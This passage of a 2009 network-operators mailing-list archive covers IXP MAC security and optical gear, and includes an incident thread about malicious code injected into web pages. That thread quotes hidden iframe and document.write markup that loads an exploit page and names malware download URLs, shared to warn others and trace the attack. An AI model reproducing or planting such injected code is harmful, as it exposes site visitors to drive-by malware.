<49EB6E2C.3050406@foobar.org> On 19/04/2009 08:31, Mikael Abrahamsson wrote: > Well, as long as it simply drops packets and doesn't shut the port or > some other "fascist" enforcement. We've had AMSIX complain that our > Cisco 12k with E5 linecard was spitting out a few tens of packets per > day during two months with random source mac addresses. Started > suddenly, stopped suddenly. It's ok for them to drop the packets, but > not shut the port in a case like that. Yes, and it's not that simple. There are known situations on certain switch platforms where if you use "violation restrict" on a port, and that port sees incoming mac addresses which belong to someone else on the exchange lan, the restrict command will wipe those mac addresses from the cam and the other person's equipment can lose connectivity. So violation restrict can cause collateral damage, which is really rather nasty. Also, Cisco GSR E5 cards aren't the only cards which inject junk from time to time. Not irregularly, I see routers from another Well Known Router Vendor injecting ipv6 frames with no mac headers. This bug appears to be tickled when the router's bgp engine gets a sudden spanking. There are other situations where bogus macs appears, mostly related to either old or nasty hardware, but enough to make blanket use of shutdown-on-violation a problem too. So I'll eat my words and admit that I actually do care when I see this sort of thing - because it causes problems, and is the sign of broken hardware, broken software or more often, bad network configuration, all of which are matters of concern, and which indicate a problem which needs attention. But however bogus packets are dealt with - whether restrict, shutdown or ignore, the most important thing is that they are never forwarded. Nick From arnold at nipper.de Sun Apr 19 13:53:31 2009 From: arnold at nipper.de (Arnold Nipper) Date: Sun, 19 Apr 2009 20:53:31 +0200 Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> Message-ID: <49EB732B.2020504@nipper.de> On 19.04.2009 19:43 Chris Caputo wrote > On Sun, 19 Apr 2009, Mikael Abrahamsson wrote: >> On Sat, 18 Apr 2009, Nick Hilliard wrote: >> > - ruthless and utterly fascist enforcement of one mac address per >> > port, using either L2 ACLs or else mac address counting, with no >> > exceptions for any reason, ever. This is probably the single more >> > important stability / security enforcement mechanism for any IXP. >> >> Well, as long as it simply drops packets and doesn't shut the port or >> some other "fascist" enforcement. We've had AMSIX complain that our >> Cisco 12k with E5 linecard was spitting out a few tens of packets per >> day during two months with random source mac addresses. Started >> suddenly, stopped suddenly. It's ok for them to drop the packets, but >> not shut the port in a case like that. > > From the IX operator perspective it is important to immediately shut down > a port showing a packet from an extra MAC address, rather than just > silently dropping them. We (DE-CIX) simply nail each MAC statically to the customer port and allow traffic from these statically configured MAC addresses to enter the switch fabric. Initially this was done as a workaround as the F10 boxes didn't support port-security. Meanwhile we think this is the best way to handle MAC management. As a benefit there is no need to shut down customer ports when frames from additional MACs arrive. These are simply ignored. Works really great for us. YMMV. Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From arnold at nipper.de Sun Apr 19 14:13:54 2009 From: arnold at nipper.de (Arnold Nipper) Date: Sun, 19 Apr 2009 21:13:54 +0200 Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> <49EA60A3.4070104@nipper.de> Message-ID: <49EB77F2.8030601@nipper.de> On 19.04.2009 01:38 Randy Bush wrote >>> just curious. has anyone tried arista for smallish exchanges, before >>> jumping off the cliff into debugging extreme, foundry, ... >> last time I look at them their products lacked port security or >> anything similiar. > > whoops! > >> Iirc it's on the roadmap for thier next generation of switches. > > bummer, as performance and per-port cost are certainly tasty. > Indeed ... Afaik low latency is due to the fact that Arista boxes are doing cut through. Pricewise they are very attractive. And Arista EOS actually is more or less a full blown Linux which allows you to do _really_ tricky things. Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From mari at imarsolutions.com Sun Apr 19 14:55:45 2009 From: mari at imarsolutions.com (Mari Nichols) Date: Sun, 19 Apr 2009 12:55:45 -0700 (PDT) Subject: SkypeSetup Rogue Download Message-ID: <138459.42479.qm@web1215.biz.mail.gq1.yahoo.com> Has anyone seen anything like this? http://www.virustotal.com/analisis/f58203f8d5cb98628eaa785e27c9e059 From randy at psg.com Sun Apr 19 15:00:40 2009 From: randy at psg.com (Randy Bush) Date: Mon, 20 Apr 2009 05:00:40 +0900 Subject: IXP In-Reply-To: <49EB77F2.8030601@nipper.de> References: <49EA0DB2.20804@foobar.org> <49EA60A3.4070104@nipper.de> <49EB77F2.8030601@nipper.de> Message-ID: >>> Iirc it's on the roadmap for thier next generation of switches. >> bummer, as performance and per-port cost are certainly tasty. > Afaik low latency is due to the fact that Arista boxes are doing cut > through. no shock there > Pricewise they are very attractive. And Arista EOS actually is more or > less a full blown Linux which allows you to do _really_ tricky things. and they expose, not hide it. so you can do management in python, which i think is damned cool. shame it wasn't unix. i have street gossip that basic mac security may be testable quite soon, but more serious port security is some months off. at that point, it should be an interesting device to try in a small exchange. billo dropped one into the ietf network, it looked to be a bitchin' device for datacenter deployment, which i gather is the intended market. randy From mari at imarsolutions.com Sun Apr 19 15:55:04 2009 From: mari at imarsolutions.com (Mari Nichols) Date: Sun, 19 Apr 2009 13:55:04 -0700 (PDT) Subject: SkypeSetup Rogue Download In-Reply-To: <6cd462c00904191331q6ccd8d6fm611d0aadcd38b6b@mail.gmail.com> References: <138459.42479.qm@web1215.biz.mail.gq1.yahoo.com> <6cd462c00904191331q6ccd8d6fm611d0aadcd38b6b@mail.gmail.com> Message-ID: <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> I believe the file is originating directly from Skype. Our writer stated that he had tried download.com's version and it was clean against VT. I'm on ISC handler duty today, just wondering if anyone had seen this happening. Mari Nichols HoD ________________________________ From: Paul Ferguson To: Mari Nichols Sent: Sunday, April 19, 2009 4:31:06 PM Subject: Re: SkypeSetup Rogue Download -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, Apr 19, 2009 at 12:55 PM, Mari Nichols wrote: > Has anyone seen anything like this? > > http://www.virustotal.com/analisis/f58203f8d5cb98628eaa785e27c9e059 > Hi, Could you provide the URL where that file is located? Thanks, - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ64oEq1pz9mNUZTMRAs4MAJ9x8vwDJzMEnci72jEK7hNEd2NmdQCfRUgE B4Se4ZXdcTaoT4h1SHfmC4Q= =wXNG -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From jmartinez at zero11.com Sun Apr 19 16:52:22 2009 From: jmartinez at zero11.com (John Martinez) Date: Sun, 19 Apr 2009 14:52:22 -0700 Subject: google noc In-Reply-To: <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> References: <138459.42479.qm@web1215.biz.mail.gq1.yahoo.com> <6cd462c00904191331q6ccd8d6fm611d0aadcd38b6b@mail.gmail.com> <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> Message-ID: <49EB9D16.5060306@zero11.com> Anyone have any contact information for the google noc or adsense noc? Thanks in advance. From mmc at internode.com.au Sun Apr 19 19:29:04 2009 From: mmc at internode.com.au (Matthew Moyle-Croft) Date: Mon, 20 Apr 2009 09:59:04 +0930 Subject: google noc In-Reply-To: <49EB9D16.5060306@zero11.com> References: <138459.42479.qm@web1215.biz.mail.gq1.yahoo.com> <6cd462c00904191331q6ccd8d6fm611d0aadcd38b6b@mail.gmail.com> <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> <49EB9D16.5060306@zero11.com> Message-ID: http://www.peeringdb.com/view.php?asn=15169 On 20/04/2009, at 7:22 AM, John Martinez wrote: > > Anyone have any contact information for the google noc or adsense noc? > Thanks in advance. > -- Matthew Moyle-Croft Networks, Internode/Agile Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia Email: mmc at internode.com.au Web: http://www.on.net Direct: +61-8-8228-2909 Mobile: +61-419-900-366 Reception: +61-8-8228-2999 Fax: +61-8-8235-6909 From jmartinez at zero11.com Sun Apr 19 20:02:14 2009 From: jmartinez at zero11.com (John Martinez) Date: Sun, 19 Apr 2009 18:02:14 -0700 Subject: google noc In-Reply-To: <200904192257.n3JMvilq017873@nb.tech.org> References: <200904192257.n3JMvilq017873@nb.tech.org> Message-ID: <49EBC996.202@zero11.com> issue has been resolved. Thanks to all that responded. Stephen Stuart wrote: >> Anyone have any contact information for the google noc or adsense noc? >> Thanks in advance. > > Did you send email ? From rubensk at gmail.com Sun Apr 19 22:32:21 2009 From: rubensk at gmail.com (Rubens Kuhl) Date: Mon, 20 Apr 2009 00:32:21 -0300 Subject: SkypeSetup Rogue Download In-Reply-To: <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> References: <138459.42479.qm@web1215.biz.mail.gq1.yahoo.com> <6cd462c00904191331q6ccd8d6fm611d0aadcd38b6b@mail.gmail.com> <961312.26185.qm@web1213.biz.mail.gq1.yahoo.com> Message-ID: <6bb5f5b10904192032o64d8ab41o11f08902140700d@mail.gmail.com> Could be a local trojan inserting bogus entries on the hosts file, could be DNS poisoning on one particular resolver, or an infection on the distribution source. Rubens On Sun, Apr 19, 2009 at 5:55 PM, Mari Nichols wrote: > I believe the file is originating directly from Skype. ?Our writer > stated that he had tried download.com's version and it was clean > against VT. ?I'm on ISC handler duty today, just wondering if anyone > had seen this happening. > > Mari Nichols > HoD > > > > > ________________________________ > From: Paul Ferguson > To: Mari Nichols > Sent: Sunday, April 19, 2009 4:31:06 PM > Subject: Re: SkypeSetup Rogue Download > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sun, Apr 19, 2009 at 12:55 PM, Mari Nichols > wrote: > >> Has anyone seen anything like this? >> >> http://www.virustotal.com/analisis/f58203f8d5cb98628eaa785e27c9e059 >> > > Hi, > > Could you provide the URL where that file is located? > > Thanks, > > - - ferg > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.5.3 (Build 5003) > > wj8DBQFJ64oEq1pz9mNUZTMRAs4MAJ9x8vwDJzMEnci72jEK7hNEd2NmdQCfRUgE > B4Se4ZXdcTaoT4h1SHfmC4Q= > =wXNG > -----END PGP SIGNATURE----- > > > > -- > "Fergie", a.k.a. Paul Ferguson > Engineering Architecture for the Internet > fergdawgster(at)gmail.com > ferg's tech blog: http://fergdawg.blogspot.com/ > From vgill at vijaygill.com Sun Apr 19 23:35:21 2009 From: vgill at vijaygill.com (vijay gill) Date: Sun, 19 Apr 2009 18:35:21 -1000 Subject: IXP In-Reply-To: <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> References: <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> Message-ID: <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> If you are unfortunate enough to have to peer at a public exchange point, put your public ports into a vrf that has your routes. Default will be suboptimal to debug. I must say stephen and vixie and (how hard this is to type) even richard steenbergens methodology makes the most sense going forward. Mostly to prevent self-inflicted harm on parts of the exchange participants. Will it work? Doubtful in todays internet clue level /vijay On 4/18/09, Jeff Young wrote: > Best solution I ever saw to an 'unintended' third-party > peering was devised by a pretty brilliant guy (who can > pipe up if he's listening). When he discovered traffic > loads coming from non-peers he'd drop in an ACL that > blocked everything except ICMP - then tell the NOC to > route the call to his desk with the third party finally gave > up troubleshooting and called in... > > fun memories of the NAPs... > > jy > > > On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > >> On 18/04/2009 01:08, Paul Vixie wrote: >>> i've spent more than several late nights and long weekends dealing >>> with >>> the problems of shared multiaccess IXP networks. broadcast storms, >>> poisoned ARP, pointing default, unintended third party BGP, >>> unintended >>> spanning tree, semitranslucent loops, unauthorized IXP LAN >>> extension... >>> all to watch the largest flows move off to PNI as soon as somebody's >>> port was getting full. >> > > -- Sent from my mobile device From alan at routingloop.com Mon Apr 20 01:37:46 2009 From: alan at routingloop.com (Alan Hannan) Date: Sun, 19 Apr 2009 23:37:46 -0700 Subject: IXP In-Reply-To: <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> References: <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> <21ef2c1c0904192135j230fb7e4x7b378a3ea6b6bf41@mail.gmail.com> Message-ID: <49EC183A.60506@routingloop.com> A solution I put in place at UUnet circa 1997 was to take a set of /32 routes representing major destination, e.g. ISP web sites, content sites, universities, about 20 of them, and temporarily place a /32 static route to each participant at the public exchange and traceroute to the destination. In this manner one can build a matrix to see how each participant gets to each destination. When we found someone sending traffic to us with whom we were not peering, it was only a small bit of work to contact the ISP and ask them to fix the "error". One guy whose initial were GBO fixed it several times if I remember correctly. I wonder how prevalent third-party next hops (here share my peering!) are nowadays? From time to time it was interesting to watch peers and see when they figured out others were using them for transit. BTW, I wonder how many folks did do the ICMP acl stuff. We never did it at UUNET that I remember. In 1997 I know the routers could handle the ACL, at least as well as routers in those days could be said to handle traffic. The guy that taught it to me had the initial NS over a margarita at Rio Grande. Completely preventing the potential for the problem is superior to detecting it. But at the time, without a clear method for preventing it, detection was good. I remember MFS tried to implement mac filters but bugs in the code rendered it a moot exercise. -alan vijay gill wrote: > If you are unfortunate enough to have to peer at a public exchange > point, put your public ports into a vrf that has your routes. > > On 4/18/09, Jeff Young wrote: > >> Best solution I ever saw to an 'unintended' third-party >> peering was devised by a pretty brilliant guy (who can >> pipe up if he's listening). >> >> On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote >>> On 18/04/2009 01:08, Paul Vixie wrote: >>> >>>> ....pointing default, .... >>>> >> > > From david.reader at zeninternet.co.uk Mon Apr 20 09:41:02 2009 From: david.reader at zeninternet.co.uk (David Reader) Date: Mon, 20 Apr 2009 15:41:02 +0100 Subject: So I've got this 2.5gig wave, what do I do with it? In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B863527941261@exchange.aoihq.local> References: <20090416233402.GB26153@loopfree.net> <2C05E949E19A9146AF7BDF9D44085B863527941260@exchange.aoihq.local> <2C05E949E19A9146AF7BDF9D44085B863527941261@exchange.aoihq.local> Message-ID: <20090420154102.ae00b781.david.reader@zeninternet.co.uk> On Fri, 17 Apr 2009 15:02:29 -0400 Eric Van Tol wrote: > > -----Original Message----- > > From: Eric Van Tol [mailto:eric at atlantech.net] > > Sent: Friday, April 17, 2009 2:44 PM > > To: nanog at nanog.org > > Subject: RE: So I've got this 2.5gig wave, what do I do with it? > > > > > -----Original Message----- > > > From: Kevin Hunt [mailto:khunt at huntbrothers.com] > > > Sent: Friday, April 17, 2009 12:28 PM > > > To: will at loopfree.net; nanog at nanog.org > > > Subject: Re: So I've got this 2.5gig wave, what do I do with it? > > > > > > > > I haven't used MRV but they look appealing, would love to hear other > > folks > > > experience with them as I'm about to have to turn another two of these > > > up... > > > > > > -- > > > > We use the MRV LamdaDrivers and they work well. We use the EM2009-G2 on > > our own dark fiber loops and provide dual GE connectivity on a single 2.5G > > wavelength. Equipment is pretty barebones, but quite solid. Management > > module can be rebooted without loss of light on any interfaces (besides > > those terminated on the management module, of course). There's plenty of > > options for SFPs wrt distances. However, since the OP is receiving a lit > > signal from the carrier, I'm not entirely sure it will work in his case, > > as I *believe* the trunk port requires a WDM SFP, not a standard > > 850/1310/1550. I could certainly be wrong, though. > > > > -evt > > Sorry to respond to my own post, but I was getting the EM2009-GM2 mixed up with another module we use. We do use the EM2009-GM2, but it does not have an SFP trunk port - it's just a pair of SC connectors on the trunk side. Looks like it can be configured for a specific wavelength by the setting of some jumpers on the module, and it looks like 1310 is possible. http://www.undone.org.uk/em2009-gm2.jpg The modules we have use SFPs for both Access & Trunk (WDM) ports. The only jumpers on the boards, to my recollection, are to choose between Gigabit Ethernet or Fibre Channel line protocol on the access ports. The trunk port protocol is mrv proprietary at two-and-a-bit Gbit/sec (2x GigE + TDM overhead). My understanding is that they'll support any sane choice of SFP (some MRV SFPs are clearly NOT sane choices for this card, such as the digital video coax module..) MRV SFP modules sold as multirate or OC48 types can be used for the trunk port. We have some of these cards running with "normal" 1310nm SFPs in the trunk ports where we only require two Gbit services over a single fibre pair. I can't comment on interop with other carriers' systems - we only use these on end-to-end dark fibre. MRV may able to advise whether or not their trunk protocol is likely to pass through transponders (which may well try to reshape/retime) designed to transport SONET/SDH. d. From jbabbinlists at gmail.com Mon Apr 20 09:42:52 2009 From: jbabbinlists at gmail.com (Jake Mailinglists) Date: Mon, 20 Apr 2009 10:42:52 -0400 Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904171806k3dd02c6cj344a8f2677c23ddf@mail.gmail.com> References: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> <6cd462c00904171806k3dd02c6cj344a8f2677c23ddf@mail.gmail.com> Message-ID: <118136780904200742rd7af245r9920fa1508ac8d6@mail.gmail.com> Paul, I noticed that in the PDF file but as the domain doesn't seem to have resolution I didn't mention it. Jake WHOIS information on the domain Whois Record domain: TEST1.RU type: CORPORATE nserver: ns1.centerhost.ru. nserver: ns1.cetis.ru. state: REGISTERED, DELEGATED org: Center of Effective Technologies and Systems CETIS phone: +7 4957711654 fax-no: +7 4957879251 e-mail: e-mail: registrar: REGRU-REG-RIPN created: 2001.03.30 paid-till: 2010.04.03 source: TC-RIPN Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: whois.ripn.net Server Data Domain Status: Registered And No Website On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills > wrote: > > > >> I took a quick look at the code... formatted it in a pastebin here: > >> http://pastebin.com/m7b50be54 > >> > >> That javascript writes this to the page (URL obscured): > >> document.write(" >> src=\"hXXp:// > 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| > >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" > >> type=\"application/pdf\">"); > >> > >> The 1.2.3.4 in the URL is my public IP address (I changed that). > >> > >> Below the javascript, it grabs a PDF: > >> >> style="border:none"> > >> > >> That PDF is on the site, I haven't looked at it yet though. > >> > > Not only is that .pdf malicious, when "executed" it also fetches additional > malware from: > > hxxp:// test1.ru /1.1.1/load.php > > If that host is not in your block list, it should be -- known purveyor of > crimeware. > > This is in addition to the other malicious URLs mentioned in this thread. > > - - ferg > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.5.3 (Build 5003) > > wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI > mxM8Ci/feKnJe6M6qbiESPw= > =b0Yj > -----END PGP SIGNATURE----- > > > > -- > "Fergie", a.k.a. Paul Ferguson > Engineering Architecture for the Internet > fergdawgster(at)gmail.com > ferg's tech blog: http://fergdawg.blogspot.com/ > > From jbabbinlists at gmail.com Mon Apr 20 10:02:17 2009 From: jbabbinlists at gmail.com (Jake Mailinglists) Date: Mon, 20 Apr 2009 11:02:17 -0400 Subject: Malicious code just found on web server 13E-7EB Message-ID: <118136780904200802j2316529ag80570dfcb82ec82d@mail.gmail.com> On Mon, Apr 20, 2009 at 10:42 AM, Jake Mailinglists wrote: > Paul, > I noticed that in the PDF file but as the domain doesn't seem to have > resolution I didn't mention it. > > Jake > > WHOIS information on the domain > > Whois Record > > domain: TEST1.RU > type: CORPORATE > nserver: ns1.centerhost.ru. > nserver: ns1.cetis.ru. > state: REGISTERED, DELEGATED > org: Center of Effective Technologies and Systems CETIS > phone: +7 4957711654 > fax-no: +7 4957879251 > e-mail: > e-mail: > registrar: REGRU-REG-RIPN > created: 2001.03.30 > paid-till: 2010.04.03 > source: TC-RIPN > > Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: > whois.ripn.net > Server Data Domain Status: Registered And No Website > > > On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills >> wrote: >> >> >> >> I took a quick look at the code... formatted it in a pastebin here: >> >> http://pastebin.com/m7b50be54 >> >> >> >> That javascript writes this to the page (URL obscured): >> >> document.write("> >> src=\"hXXp:// >> 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| >> >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >> >> type=\"application/pdf\">"); >> >> >> >> The 1.2.3.4 in the URL is my public IP address (I changed that). >> >> >> >> Below the javascript, it grabs a PDF: >> >> > >> style="border:none"> >> >> >> >> That PDF is on the site, I haven't looked at it yet though. >> >> >> >> Not only is that .pdf malicious, when "executed" it also fetches >> additional >> malware from: >> >> hxxp:// test1.ru /1.1.1/load.php >> >> If that host is not in your block list, it should be -- known purveyor of >> crimeware. >> >> This is in addition to the other malicious URLs mentioned in this thread. >> >> - - ferg >> >> -----BEGIN PGP SIGNATURE----- >> Version: PGP Desktop 9.5.3 (Build 5003) >> >> wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI >> mxM8Ci/feKnJe6M6qbiESPw= >> =b0Yj >> -----END PGP SIGNATURE----- >> >> >> >> -- >> "Fergie", a.k.a. Paul Ferguson >> Engineering Architecture for the Internet >> fergdawgster(at)gmail.com >> ferg's tech blog: http://fergdawg.blogspot.com/ >> >> > From kngspook at gmail.com Mon Apr 20 11:47:59 2009 From: kngspook at gmail.com (Neil) Date: Mon, 20 Apr 2009 12:47:59 -0400 Subject: Malicious code just found on web server In-Reply-To: References: Message-ID: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> On Fri, Apr 17, 2009 at 4:39 PM, Russell Berg wrote: > We just discovered what we suspect is malicious code appended to all > index.html files on our web server as of the 11:00 central time hour today: > > src="http://77.92.158.122/webmail/inc/web/index.php" > style="display: none;" height="0" width="0"> > > > IP address resolves to mail.yaris.com; couldn't find any A/V site > references to this. > > Google search reveals some Chinese sites with references to the URL today, > but nothing substantial in the translation. > > Just a heads up for folks; we have a team investigating... > > Russell Berg > Dir - Product Development > Airstream Communications > berg at wins.net > 715-832-3726 > > I've run into this sort of attack before, where they change the page to load content from elsewhere; but I couldn't figure out how they managed to write to the sites' pages. They were hosted on a commercial webhost, and so if it was a compromised host (which seemed like the only possibility to me), that didn't speak well for the hosting company. We were having issues with the company anyways, though; so I took down the site, sanitized the pages (and removed a bunch of junk), and put the site back up with another company. But if you figure out how they got write access to a static website, I'd love to hear it. -N. From fergdawgster at gmail.com Mon Apr 20 12:05:34 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Mon, 20 Apr 2009 10:05:34 -0700 Subject: Malicious code just found on web server In-Reply-To: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> Message-ID: <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Apr 20, 2009 at 9:47 AM, Neil wrote: > I've run into this sort of attack before, where they change the page to > load content from elsewhere; but I couldn't figure out how they managed > to write to the sites' pages. They were hosted on a commercial webhost, > and so if it was a compromised host (which seemed like the only > possibility to me), that didn't speak well for the hosting company. > > We were having issues with the company anyways, though; so I took down > the site, sanitized the pages (and removed a bunch of junk), and put the > site back up with another company. > > But if you figure out how they got write access to a static website, I'd > love to hear it. > Most likely SQL injection. At any given time, there are hundreds of thousands of "legitimate" websites out there that are unwittingly harboring malicious code. - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7KtQq1pz9mNUZTMRAssaAKDYN8gqpZFaYPBOofGTjdtIbCDcSQCglwP0 W1CxTsNRR8vhO28Tq1LDm7M= =TJbX -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From mike at rockynet.com Mon Apr 20 12:23:25 2009 From: mike at rockynet.com (Mike Lewinski) Date: Mon, 20 Apr 2009 11:23:25 -0600 Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> Message-ID: <49ECAF8D.6020909@rockynet.com> Paul Ferguson wrote: > Most likely SQL injection. At any given time, there are hundreds of > thousands of "legitimate" websites out there that are unwittingly harboring > malicious code. Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced. Mike From fergdawgster at gmail.com Mon Apr 20 12:36:39 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Mon, 20 Apr 2009 10:36:39 -0700 Subject: Malicious code just found on web server In-Reply-To: <49ECAF8D.6020909@rockynet.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> <49ECAF8D.6020909@rockynet.com> Message-ID: <6cd462c00904201036q6a368ff3u4a1589197f9ec708@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Apr 20, 2009 at 10:23 AM, Mike Lewinski wrote: > Paul Ferguson wrote: > >> Most likely SQL injection. At any given time, there are hundreds of >> thousands of "legitimate" websites out there that are unwittingly >> harboring >> malicious code. > > Most of the MS-SQL injection attacks we see write malicious javascript > into the DB itself so all query results include it. However, I'm not sure > how easy it is to leverage to get system access - we've seen a number of > compromised customer machines and there didn't appear to be any further > compromise of them beyond the obvious. In the OP's case it sounds like > static HTML files were altered. My bet is that an ftp or ssh account was > brute forced. > Yes -- SQL Injection directly into the HTML. Happening all over the place, hundreds of thousands at a time --- we've been trying to highlight the fact that improper configuration of web services, "unescaped" configurations, etc., allow SQL injection to insert code (e.g. JavaScript, iFrames, etc.) directly into the HTML or Header. See also: http://en.wikipedia.org/wiki/Sql_injection#Real-world_examples - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7LKiq1pz9mNUZTMRAu3sAJ9MB6NH+qn8/idSbfqMk8TRQPzy5gCfb/QY DUCdgzPRORtsLyfDFrfkgTw= =Ar/O -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From nicknetworks at gmail.com Mon Apr 20 12:40:53 2009 From: nicknetworks at gmail.com (Nick Chapman) Date: Mon, 20 Apr 2009 13:40:53 -0400 Subject: Malicious code just found on web server In-Reply-To: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> Message-ID: On Mon, Apr 20, 2009 at 12:47 PM, Neil wrote: > I've run into this sort of attack before, where they change the page to load > content from elsewhere; but I couldn't figure out how they managed to write > to the sites' pages. ?They were hosted on a commercial webhost, and so if it > was a compromised host (which seemed like the only possibility to me), that > didn't speak well for the hosting company. SQLi is prolly the most common way to inject code. Shared databases can lead to shared security problems. It's also possible that the hosting provider could be having other security issues that would allow an attack to directly edit the website in question. Remote file inclusions are also a popular way to modify web page. Include a web shell, and then run a few commands to insert the malicious code into the website. > We were having issues with the company anyways, though; so I took down the > site, sanitized the pages (and removed a bunch of junk), and put the site > back up with another company. > > But if you figure out how they got write access to a static website, I'd > love to hear it. Compromised FTP credentials would be my guess. They can be obtained by brute force attacks or credential stealing trojans. The obfuscation used by this exploit kit looked kinda familiar, but I wasn't able to match it to any exploit kits I know of. But it looks like the guys at Arbor examined this at the beginning of the year: http://asert.arbornetworks.com/2009/01/buy-buy-exploitation/ They're referring to it as Buy Buy due to the buybuy.html page. Also looks like a commenter at the article mentions that he had a problem with this that was caused by compromised ftp accounts. Of course, given how often exploit kits are copied, modified, merged, etc, etc. The buy buy kit could just be a relative of the this one. Regards, -Nick From ge at linuxbox.org Mon Apr 20 12:40:59 2009 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 20 Apr 2009 20:40:59 +0300 Subject: Malicious code just found on web server In-Reply-To: <49ECAF8D.6020909@rockynet.com> References: <77e4079b0904200947i78dedc9fw385201d67735a557@mail.gmail.com> <6cd462c00904201005m1d94a4fcs89d05aff6294c750@mail.gmail.com> <49ECAF8D.6020909@rockynet.com> Message-ID: <49ECB3AB.8040509@linuxbox.org> Mike Lewinski wrote: > Paul Ferguson wrote: > >> Most likely SQL injection. At any given time, there are hundreds of >> thousands of "legitimate" websites out there that are unwittingly >> harboring >> malicious code. > > Most of the MS-SQL injection attacks we see write malicious javascript > into the DB itself so all query results include it. However, I'm not > sure how easy it is to leverage to get system access - we've seen a > number of compromised customer machines and there didn't appear to be > any further compromise of them beyond the obvious. In the OP's case it > sounds like static HTML files were altered. My bet is that an ftp or ssh > account was brute forced. Many 